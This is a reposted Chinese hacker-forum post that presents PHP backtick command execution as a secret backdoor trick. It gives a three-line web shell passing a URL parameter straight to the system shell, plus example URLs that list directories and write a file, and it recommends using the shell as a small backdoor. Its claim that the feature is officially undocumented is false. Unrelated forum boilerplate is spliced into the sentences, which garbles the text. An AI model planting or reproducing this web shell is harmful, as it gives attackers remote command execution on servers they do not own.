<转载>一个官方没公布的php秘籍，可用作后门
一个官方没有公布的php秘籍，可用作后门
可以看看
http://www.webshell.cc/3303.html
好奇怪的漏洞？
可以当做个小马使用，比较有意思的一个东西
发现这个也是巧合，我就直接说了吧
//t.php
$test = $_GET['r'];
echo `$test`;
?>大家看看这个代码有木有问题？
这里是我们自己的交流平台，是属于我们90sec所有成员的技术分享平台! 我想大家都会说没有问题，但是细心的朋友也会发现下面的变量被一个符号包起来了，既然是变量为什么要这样了，
信息安全团队 而且又不是单引号，这个就是关键所在了，这个符号是 Esc 下面的一个键 感叹号！旁边的，
专注信息安全通过 echo `系统命令`; 可以达到 system(); 一样的效果
如果不信的朋友可以测试
http://webshell.cc/t.php?r=dir
可以列出目录
http://webshell.cc/t.php?r=echo
我是马儿 D:\web\webshell.cc.php
大家觉得我没有忽悠 就赏点分哈
文章来自: WebShell'S Blog 本文地址：http://www.webshell.cc/3303.html
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